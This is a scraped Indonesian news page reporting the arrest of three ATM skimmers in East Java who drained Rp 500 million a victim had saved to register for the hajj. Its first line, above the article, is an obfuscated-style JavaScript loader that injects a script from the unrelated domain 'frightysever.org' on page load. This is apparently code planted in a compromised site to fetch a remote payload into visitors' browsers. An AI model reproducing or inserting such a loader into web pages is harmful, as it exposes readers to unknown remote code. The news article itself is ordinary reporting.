(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Jawa Timur

Jadi Korban Skimming, Duit Rp 500 Juta untuk Daftar Haji Ludes Tak Bersisa


KANALKALIMANTAN.COM, SURABAYA – Dengan kemampuan membobol data elektronik melalui alat skiming, tiga pelaku yang dibekuk Subdit V Siber Ditreskrimsus Polda Jawa Timur baru-baru ini mampu membobol isi ATM sampai Rp 500 juta.

Tiga tersangka itu yakni RY (34) warga Malang, DM (32) warga Malang dan PS (31) warga Bekasi, Jawa Barat.

Dilansir dari Beritajatim.com, kasus ini dilaporkan oleh Arief Setiyono pada 5 Maret 2020 lalu. Warga Surabaya ini awalnya merasa aneh karena ATM yang biasa dia gunakan tersebut terblokir. Dia yang hendak mengambil uang untuk mendaftar haji ini berangkat ke mesin ATM bank BUMN di kawasan Sidoarjo.

Saat hendak menarik uang di ATM, korban bingung. Sebab, beberapa kali dimasukkan Pin ATM salah dan akhirnya terblokir. Mengetahui ATM nya terblokir, korban diarahkan petugas sekurity bank untuk menghubungi cal center untuk membuka blokir ATM.

Selanjutnya, korban melapor ke kantor bank utama di Kota Delta. Di kantor bank setempat, korban disarankan mengganti kartu ATM yang ada chip didalam nya. Namun, setelah dicetak buku rekening, terjadi 40 kali transaksi antara tanggal 05 Maret-09 Maret 2020.

“Kerugiannya Rp 500 juta. Korban lalu melapor ke Polda,” ujar Kabid Humas Polda Jatim Kombes Pol Trunoyudo Wisnu Andiko, di Humas Polda Jatim, Senin (4/5/2020).

Setelah diselidiki polisi, ATM korban ternyata dibobol pelaku menggunakan modus mencuri data elektronik melalui alat skiming. Kasubdit V Siber AKBP Catur Cahyono Wibowo, menambahkan setelah dilakukan penyelidikan tersangka ditangkap di Malang dan Bekasi.

“Teknis pelaku memasang alat skimming. Jadi ada dua alat. Alat itu dipasang di ATM. Lalu orang datang ke ATM untuk ambil uang, maka kartu ATM itu akan tercopy oleh alat skimming tersebut,” jelasnya.

Menurut Catur, tersangka memasang alat tersebut pagi pukul 09.00. Kemudian diambil pada malam hari atau dinihari.

Alat skimming itu dipasang di ATM yang sepi atau tidak ada penjaganya. Setelah mendapatkan data elektronik ATM, tersangka mencetak kartu dengan data elektronik ATM korban dan melakukan penarikan uang. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

4 menit ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

1 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

3 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

4 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

5 jam ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

5 jam ago

This website uses cookies.